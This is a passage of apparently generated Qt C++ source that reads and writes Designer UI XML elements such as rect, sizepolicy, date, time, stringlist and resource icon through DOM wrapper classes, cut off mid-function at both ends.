void DomRect::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(e.text().toInt());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(e.text().toInt());
continue;
}
if (tag == QLatin1String("width")) {
setElementWidth(e.text().toInt());
continue;
}
if (tag == QLatin1String("height")) {
setElementHeight(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomRect::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("rect") : tagName.toLower());
if (m_children & X) {
writer.writeTextElement(QString(QLatin1Char('x')), QString::number(m_x));
}
if (m_children & Y) {
writer.writeTextElement(QString(QLatin1Char('y')), QString::number(m_y));
}
if (m_children & Width) {
writer.writeTextElement(QLatin1String("width"), QString::number(m_width));
}
if (m_children & Height) {
writer.writeTextElement(QLatin1String("height"), QString::number(m_height));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomRect::setElementX(int a)
{
m_children |= X;
m_x = a;
}
void DomRect::setElementY(int a)
{
m_children |= Y;
m_y = a;
}
void DomRect::setElementWidth(int a)
{
m_children |= Width;
m_width = a;
}
void DomRect::setElementHeight(int a)
{
m_children |= Height;
m_height = a;
}
void DomRect::clearElementX()
{
m_children &= ~X;
}
void DomRect::clearElementY()
{
m_children &= ~Y;
}
void DomRect::clearElementWidth()
{
m_children &= ~Width;
}
void DomRect::clearElementHeight()
{
m_children &= ~Height;
}
void DomLocale::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_language = false;
m_has_attr_country = false;
}
m_children = 0;
}
DomLocale::DomLocale()
{
m_children = 0;
m_has_attr_language = false;
m_has_attr_country = false;
}
DomLocale::~DomLocale()
{
}
void DomLocale::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("language")) {
setAttributeLanguage(attribute.value().toString());
continue;
}
if (name == QLatin1String("country")) {
setAttributeCountry(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomLocale::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("language")))
setAttributeLanguage(node.attribute(QLatin1String("language")));
if (node.hasAttribute(QLatin1String("country")))
setAttributeCountry(node.attribute(QLatin1String("country")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomLocale::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("locale") : tagName.toLower());
if (hasAttributeLanguage())
writer.writeAttribute(QLatin1String("language"), attributeLanguage());
if (hasAttributeCountry())
writer.writeAttribute(QLatin1String("country"), attributeCountry());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomSizePolicy::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_hSizeType = false;
m_has_attr_vSizeType = false;
}
m_children = 0;
m_hSizeType = 0;
m_vSizeType = 0;
m_horStretch = 0;
m_verStretch = 0;
}
DomSizePolicy::DomSizePolicy()
{
m_children = 0;
m_has_attr_hSizeType = false;
m_has_attr_vSizeType = false;
m_hSizeType = 0;
m_vSizeType = 0;
m_horStretch = 0;
m_verStretch = 0;
}
DomSizePolicy::~DomSizePolicy()
{
}
void DomSizePolicy::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("hsizetype")) {
setAttributeHSizeType(attribute.value().toString());
continue;
}
if (name == QLatin1String("vsizetype")) {
setAttributeVSizeType(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("hsizetype")) {
setElementHSizeType(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("vsizetype")) {
setElementVSizeType(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("horstretch")) {
setElementHorStretch(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("verstretch")) {
setElementVerStretch(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomSizePolicy::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("hsizetype")))
setAttributeHSizeType(node.attribute(QLatin1String("hsizetype")));
if (node.hasAttribute(QLatin1String("vsizetype")))
setAttributeVSizeType(node.attribute(QLatin1String("vsizetype")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("hsizetype")) {
setElementHSizeType(e.text().toInt());
continue;
}
if (tag == QLatin1String("vsizetype")) {
setElementVSizeType(e.text().toInt());
continue;
}
if (tag == QLatin1String("horstretch")) {
setElementHorStretch(e.text().toInt());
continue;
}
if (tag == QLatin1String("verstretch")) {
setElementVerStretch(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomSizePolicy::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("sizepolicy") : tagName.toLower());
if (hasAttributeHSizeType())
writer.writeAttribute(QLatin1String("hsizetype"), attributeHSizeType());
if (hasAttributeVSizeType())
writer.writeAttribute(QLatin1String("vsizetype"), attributeVSizeType());
if (m_children & HSizeType) {
writer.writeTextElement(QLatin1String("hsizetype"), QString::number(m_hSizeType));
}
if (m_children & VSizeType) {
writer.writeTextElement(QLatin1String("vsizetype"), QString::number(m_vSizeType));
}
if (m_children & HorStretch) {
writer.writeTextElement(QLatin1String("horstretch"), QString::number(m_horStretch));
}
if (m_children & VerStretch) {
writer.writeTextElement(QLatin1String("verstretch"), QString::number(m_verStretch));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomSizePolicy::setElementHSizeType(int a)
{
m_children |= HSizeType;
m_hSizeType = a;
}
void DomSizePolicy::setElementVSizeType(int a)
{
m_children |= VSizeType;
m_vSizeType = a;
}
void DomSizePolicy::setElementHorStretch(int a)
{
m_children |= HorStretch;
m_horStretch = a;
}
void DomSizePolicy::setElementVerStretch(int a)
{
m_children |= VerStretch;
m_verStretch = a;
}
void DomSizePolicy::clearElementHSizeType()
{
m_children &= ~HSizeType;
}
void DomSizePolicy::clearElementVSizeType()
{
m_children &= ~VSizeType;
}
void DomSizePolicy::clearElementHorStretch()
{
m_children &= ~HorStretch;
}
void DomSizePolicy::clearElementVerStretch()
{
m_children &= ~VerStretch;
}
void DomSize::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_width = 0;
m_height = 0;
}
DomSize::DomSize()
{
m_children = 0;
m_width = 0;
m_height = 0;
}
DomSize::~DomSize()
{
}
void DomSize::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("width")) {
setElementWidth(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("height")) {
setElementHeight(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomSize::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("width")) {
setElementWidth(e.text().toInt());
continue;
}
if (tag == QLatin1String("height")) {
setElementHeight(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomSize::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("size") : tagName.toLower());
if (m_children & Width) {
writer.writeTextElement(QLatin1String("width"), QString::number(m_width));
}
if (m_children & Height) {
writer.writeTextElement(QLatin1String("height"), QString::number(m_height));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomSize::setElementWidth(int a)
{
m_children |= Width;
m_width = a;
}
void DomSize::setElementHeight(int a)
{
m_children |= Height;
m_height = a;
}
void DomSize::clearElementWidth()
{
m_children &= ~Width;
}
void DomSize::clearElementHeight()
{
m_children &= ~Height;
}
void DomDate::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_year = 0;
m_month = 0;
m_day = 0;
}
DomDate::DomDate()
{
m_children = 0;
m_year = 0;
m_month = 0;
m_day = 0;
}
DomDate::~DomDate()
{
}
void DomDate::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("year")) {
setElementYear(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("month")) {
setElementMonth(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("day")) {
setElementDay(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomDate::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("year")) {
setElementYear(e.text().toInt());
continue;
}
if (tag == QLatin1String("month")) {
setElementMonth(e.text().toInt());
continue;
}
if (tag == QLatin1String("day")) {
setElementDay(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomDate::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("date") : tagName.toLower());
if (m_children & Year) {
writer.writeTextElement(QLatin1String("year"), QString::number(m_year));
}
if (m_children & Month) {
writer.writeTextElement(QLatin1String("month"), QString::number(m_month));
}
if (m_children & Day) {
writer.writeTextElement(QLatin1String("day"), QString::number(m_day));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomDate::setElementYear(int a)
{
m_children |= Year;
m_year = a;
}
void DomDate::setElementMonth(int a)
{
m_children |= Month;
m_month = a;
}
void DomDate::setElementDay(int a)
{
m_children |= Day;
m_day = a;
}
void DomDate::clearElementYear()
{
m_children &= ~Year;
}
void DomDate::clearElementMonth()
{
m_children &= ~Month;
}
void DomDate::clearElementDay()
{
m_children &= ~Day;
}
void DomTime::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_hour = 0;
m_minute = 0;
m_second = 0;
}
DomTime::DomTime()
{
m_children = 0;
m_hour = 0;
m_minute = 0;
m_second = 0;
}
DomTime::~DomTime()
{
}
void DomTime::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("hour")) {
setElementHour(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("minute")) {
setElementMinute(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("second")) {
setElementSecond(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomTime::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("hour")) {
setElementHour(e.text().toInt());
continue;
}
if (tag == QLatin1String("minute")) {
setElementMinute(e.text().toInt());
continue;
}
if (tag == QLatin1String("second")) {
setElementSecond(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomTime::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("time") : tagName.toLower());
if (m_children & Hour) {
writer.writeTextElement(QLatin1String("hour"), QString::number(m_hour));
}
if (m_children & Minute) {
writer.writeTextElement(QLatin1String("minute"), QString::number(m_minute));
}
if (m_children & Second) {
writer.writeTextElement(QLatin1String("second"), QString::number(m_second));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomTime::setElementHour(int a)
{
m_children |= Hour;
m_hour = a;
}
void DomTime::setElementMinute(int a)
{
m_children |= Minute;
m_minute = a;
}
void DomTime::setElementSecond(int a)
{
m_children |= Second;
m_second = a;
}
void DomTime::clearElementHour()
{
m_children &= ~Hour;
}
void DomTime::clearElementMinute()
{
m_children &= ~Minute;
}
void DomTime::clearElementSecond()
{
m_children &= ~Second;
}
void DomDateTime::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_hour = 0;
m_minute = 0;
m_second = 0;
m_year = 0;
m_month = 0;
m_day = 0;
}
DomDateTime::DomDateTime()
{
m_children = 0;
m_hour = 0;
m_minute = 0;
m_second = 0;
m_year = 0;
m_month = 0;
m_day = 0;
}
DomDateTime::~DomDateTime()
{
}
void DomDateTime::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("hour")) {
setElementHour(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("minute")) {
setElementMinute(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("second")) {
setElementSecond(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("year")) {
setElementYear(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("month")) {
setElementMonth(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("day")) {
setElementDay(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomDateTime::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("hour")) {
setElementHour(e.text().toInt());
continue;
}
if (tag == QLatin1String("minute")) {
setElementMinute(e.text().toInt());
continue;
}
if (tag == QLatin1String("second")) {
setElementSecond(e.text().toInt());
continue;
}
if (tag == QLatin1String("year")) {
setElementYear(e.text().toInt());
continue;
}
if (tag == QLatin1String("month")) {
setElementMonth(e.text().toInt());
continue;
}
if (tag == QLatin1String("day")) {
setElementDay(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomDateTime::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("datetime") : tagName.toLower());
if (m_children & Hour) {
writer.writeTextElement(QLatin1String("hour"), QString::number(m_hour));
}
if (m_children & Minute) {
writer.writeTextElement(QLatin1String("minute"), QString::number(m_minute));
}
if (m_children & Second) {
writer.writeTextElement(QLatin1String("second"), QString::number(m_second));
}
if (m_children & Year) {
writer.writeTextElement(QLatin1String("year"), QString::number(m_year));
}
if (m_children & Month) {
writer.writeTextElement(QLatin1String("month"), QString::number(m_month));
}
if (m_children & Day) {
writer.writeTextElement(QLatin1String("day"), QString::number(m_day));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomDateTime::setElementHour(int a)
{
m_children |= Hour;
m_hour = a;
}
void DomDateTime::setElementMinute(int a)
{
m_children |= Minute;
m_minute = a;
}
void DomDateTime::setElementSecond(int a)
{
m_children |= Second;
m_second = a;
}
void DomDateTime::setElementYear(int a)
{
m_children |= Year;
m_year = a;
}
void DomDateTime::setElementMonth(int a)
{
m_children |= Month;
m_month = a;
}
void DomDateTime::setElementDay(int a)
{
m_children |= Day;
m_day = a;
}
void DomDateTime::clearElementHour()
{
m_children &= ~Hour;
}
void DomDateTime::clearElementMinute()
{
m_children &= ~Minute;
}
void DomDateTime::clearElementSecond()
{
m_children &= ~Second;
}
void DomDateTime::clearElementYear()
{
m_children &= ~Year;
}
void DomDateTime::clearElementMonth()
{
m_children &= ~Month;
}
void DomDateTime::clearElementDay()
{
m_children &= ~Day;
}
void DomStringList::clear(bool clear_all)
{
m_string.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomStringList::DomStringList()
{
m_children = 0;
}
DomStringList::~DomStringList()
{
m_string.clear();
}
void DomStringList::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("string")) {
m_string.append(reader.readElementText());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomStringList::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("string")) {
m_string.append(e.text());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomStringList::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("stringlist") : tagName.toLower());
for (int i = 0; i < m_string.size(); ++i) {
QString v = m_string[i];
writer.writeTextElement(QLatin1String("string"), v);
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomStringList::setElementString(const QStringList& a)
{
m_children |= String;
m_string = a;
}
void DomResourcePixmap::clear(bool clear_all)
{
if (clear_all) {
m_text = QLatin1String("");
m_has_attr_resource = false;
m_has_attr_alias = false;
}
m_children = 0;
}
DomResourcePixmap::DomResourcePixmap()
{
m_children = 0;
m_has_attr_resource = false;
m_has_attr_alias = false;
m_text = QLatin1String("");
}
DomResourcePixmap::~DomResourcePixmap()
{
}
void DomResourcePixmap::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("resource")) {
setAttributeResource(attribute.value().toString());
continue;
}
if (name == QLatin1String("alias")) {
setAttributeAlias(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomResourcePixmap::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("resource")))
setAttributeResource(node.attribute(QLatin1String("resource")));
if (node.hasAttribute(QLatin1String("alias")))
setAttributeAlias(node.attribute(QLatin1String("alias")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text = QLatin1String("");
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomResourcePixmap::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("resourcepixmap") : tagName.toLower());
if (hasAttributeResource())
writer.writeAttribute(QLatin1String("resource"), attributeResource());
if (hasAttributeAlias())
writer.writeAttribute(QLatin1String("alias"), attributeAlias());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomResourceIcon::clear(bool clear_all)
{
delete m_normalOff;
delete m_normalOn;
delete m_disabledOff;
delete m_disabledOn;
delete m_activeOff;
delete m_activeOn;
delete m_selectedOff;
delete m_selectedOn;
if (clear_all) {
m_text = QLatin1String("");
m_has_attr_theme = false;
m_has_attr_resource = false;
}
m_children = 0;
m_normalOff = 0;
m_normalOn = 0;
m_disabledOff = 0;
m_disabledOn = 0;
m_activeOff = 0;
m_activeOn = 0;
m_selectedOff = 0;
m_selectedOn = 0;
}
DomResourceIcon::DomResourceIcon()
{
m_children = 0;
m_has_attr_theme = false;
m_has_attr_resource = false;
m_text = QLatin1String("");
m_normalOff = 0;
m_normalOn = 0;
m_disabledOff = 0;
m_disabledOn = 0;
m_activeOff = 0;
m_activeOn = 0;
m_selectedOff = 0;
m_selectedOn = 0;
}
DomResourceIcon::~DomResourceIcon()
{
delete m_normalOff;
delete m_normalOn;
delete m_disabledOff;
delete m_disabledOn;
delete m_activeOff;
delete m_activeOn;
delete m_selectedOff;
delete m_selectedOn;
}
void DomResourceIcon::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("theme")) {
setAttributeTheme(attribute.value().toString());
continue;
}
if (name == QLatin1String("resource")) {
setAttributeResource(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("normaloff")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(reader);
setElementNormalOff(v);
continue;
}
if (tag == QLatin1String("normalon")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(reader);
setElementNormalOn(v);
continue;
}
if (tag == QLatin1String("disabledoff")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(reader);
setElementDisabledOff(v);
continue;
}
if (tag == QLatin1String("disabledon")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(reader);
setElementDisabledOn(v);
continue;
}
if (tag == QLatin1String("activeoff")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(reader);
setElementActiveOff(v);
continue;
}
if (tag == QLatin1String("activeon")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(reader);
setElementActiveOn(v);
continue;
}
if (tag == QLatin1String("selectedoff")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(reader);
setElementSelectedOff(v);
continue;
}
if (tag == QLatin1String("selectedon")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(reader);
setElementSelectedOn(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomResourceIcon::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("theme")))
setAttributeTheme(node.attribute(QLatin1String("theme")));
if (node.hasAttribute(QLatin1String("resource")))
setAttributeResource(node.attribute(QLatin1String("resource")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("normaloff")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(e);
setElementNormalOff(v);
continue;
}
if (tag == QLatin1String("normalon")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(e);
setElementNormalOn(v);
continue;
}
if (tag == QLatin1String("disabledoff")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(e);
setElementDisabledOff(v);
continue;
}
if (tag == QLatin1String("disabledon")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(e);
setElementDisabledOn(v);
continue;
}
if (tag == QLatin1String("activeoff")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(e);
setElementActiveOff(v);
continue;
}
if (tag == QLatin1String("activeon")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(e);
setElementActiveOn(v);
continue;
}
if (tag == QLatin1String("selectedoff")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(e);
setElementSelectedOff(v);
continue;
}
if (tag == QLatin1String("selectedon")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(e);
setElementSelectedOn(v);
continue;
}
}
m_text = QLatin1String("");
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomResourceIcon::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("resourceicon") : tagName.toLower());
if (hasAttributeTheme())
writer.writeAttribute(QLatin1String("theme"), attributeTheme());
if (hasAttributeResource())
writer.writeAttribute(QLatin1String("resource"), attributeResource());
if (m_children & NormalOff) {
m_normalOff->write(writer, QLatin1String("normaloff"));
}
if (m_children & NormalOn) {
m_normalOn->write(writer, QLatin1String("normalon"));
}
if (m_children & DisabledOff) {
m_disabledOff->write(writer, QLatin1String("disabledoff"));
}
if (m_children & DisabledOn) {
m_disabledOn->write(writer, QLatin1String("disabledon"));
}
if (m_children & ActiveOff) {
m_activeOff->write(writer, QLatin1String("activeoff"));
}
if (m_children & ActiveOn) {
m_activeOn->write(writer, QLatin1String("activeon"));
}
if (m_children & SelectedOff) {
m_selectedOff->write(writer, QLatin1String("selectedoff"));
}
if (m_children & SelectedOn) {
m_selectedOn->write(writer, QLatin1String("selectedon"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
DomResourcePixmap* DomResourceIcon::takeElementNormalOff()
{
DomResourcePixmap* a = m_normalOff;
m_normalOff = 0;
m_children ^= NormalOff;
return a;
}
void DomResourceIcon::setElementNormalOff(DomResourcePixmap* a)
{
delete m_normalOff;
m_children |= NormalOff;
m_normalOff = a;
}
DomResourcePixmap* DomResourceIcon::takeElementNormalOn()
{
DomResourcePixmap* a = m_normalOn;
m_normalOn = 0;
m_children ^= NormalOn;
return a;
}
void DomResourceIcon::setElementNormalOn(DomResourcePixmap* a)
{
delete m_normalOn;
m_children |= NormalOn;
m_normalOn = a;
}
DomResourcePixmap* DomResourceIcon::takeElementDisabledOff()
{
DomResourcePixmap* a = m_disabledOff;
m_disabledOff = 0;
m_children ^= DisabledOff;
return a;
}
void DomResourceIcon::setElementDisabledOff(DomResourcePixmap* a)
{
delete m_disabledOff;
m_children |= DisabledOff;
m_disabledOff = a;
}
DomResourcePixmap* DomResourceIcon::takeElementDisabledOn()
{
DomResourcePixmap* a = m_disabledOn;
m_disabledOn = 0;
m_children ^= DisabledOn;
return a;
}
void DomResourceIcon::setElementDisabledOn(DomResourcePixmap* a)
{
delete m_disabledOn;
m_children |= DisabledOn;
m_disabledOn = a;
}
DomResourcePixmap* DomResourceIcon::takeElementActiveOff()
{
